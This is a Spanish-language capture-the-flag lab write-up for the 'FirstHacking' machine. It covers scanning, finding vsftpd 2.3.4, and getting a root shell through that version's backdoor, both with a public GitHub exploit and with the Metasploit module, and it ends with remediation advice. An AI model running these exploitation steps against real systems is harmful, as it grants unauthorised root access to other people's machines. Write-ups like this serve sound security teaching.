FIRSTHACKING

1. CONECTIVIDAD

Verificamos la conectividad con la máquina objetivo utilizando ping:

┌──(root kali)-[/home/kali/Desktop] └─# ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.265 ms

--- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.265/0.265/0.265/0.000 ms

2.ESCANEO DE PUERTOS

Realizamos un escaneo de puertos utilizando nmap: ┌──(rootkali)-[/home/kali/Desktop] └─# nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2

Starting Nmap 7.94SVN (https://nmap.org) at 2024-05-22 13:03 EDT Nmap scan report for 172.17.0.2 Host is up (0.000038s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.29 seconds

3. ENUMERACION

El servicio FTP identificado es vsftpd 2.3.4, conocido por tener una vulnerabilidad que permite la ejecución de comandos remotos a través de una puerta trasera. 4.EXPLOTACION

Método 1: Uso de un Exploit Manual

Descargamos y utilizamos un exploit público para vsftpd 2.3.4 desde GitHub:

┌──(root kali)-[/home/kali/Desktop] └─# git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git

┌──(root kali)-[/home/kali/Desktop] └─# cd vsftpd_2.3.4_Exploit

┌──(root kali)-[/home/kali/Desktop/vsftpd_2.3.4_Exploit] └─# chmod +x exploit.py

┌──(root kali)-[/home/kali/Desktop/vsftpd_2.3.4_Exploit] └─# python3 exploit.py 172.17.0.2 [+] Got Shell!!! [+] Opening connection to 172.17.0.2 on port 21: Done [*] Closed connection to 172.17.0.2 port 21 [+] Opening connection to 172.17.0.2 on port 6200: Done [*] Switching to interactive mode $ whoami root

Método 2: Uso de Metasploit

También podemos usar Metasploit para explotar esta vulnerabilidad:

┌──(root kali)-[/home/kali/Desktop] └─# msfconsole -q

msf6 > search vsftpd 2.3.4

Matching Modules

Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

msf6 > use 0 [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 21 yes The target port (TCP)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 172.17.0.2 rhosts => 172.17.0.2

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4) [] 172.17.0.2:21 - USER: 331 Please specify the password. [+] 172.17.0.2:21 - Backdoor service has been spawned, handling... [+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root) *[] Found shell. []* Command shell session 1 opened (172.17.0.1:37029 -> 172.17.0.2:6200) at 2024-05-22 15:00:47 -0400

whoami

root

RECOMENDACIONES

Actualizar vsftpd: Se debe actualizar a una versión más reciente y segura de vsftpd para evitar esta vulnerabilidad.
Seguridad de Acceso: Implementar autenticación fuerte y limitar el acceso al servicio FTP solo a usuarios y direcciones IP de confianza.
Monitoreo y Auditoría: Configurar sistemas de monitoreo para detectar intentos de explotación y acceso no autorizado.
Firewalls y IDS/IPS: Implementar firewalls y sistemas de detección/preventivas de intrusiones (IDS/IPS) para proteger el servicio FTP.
Pruebas de Seguridad Regulares: Realizar pruebas de penetración periódicas para identificar y corregir vulnerabilidades.

CONCLUSION

La máquina "firsthaking" presenta una vulnerabilidad crítica en el servicio vsftpd 2.3.4 que permite la obtención de acceso root de manera relativamente sencilla. La explotación de esta vulnerabilidad se puede realizar tanto manualmente como utilizando Metasploit. Se recomienda encarecidamente actualizar el software vulnerable y aplicar medidas de seguridad adicionales para proteger el sistema contra futuros ataques.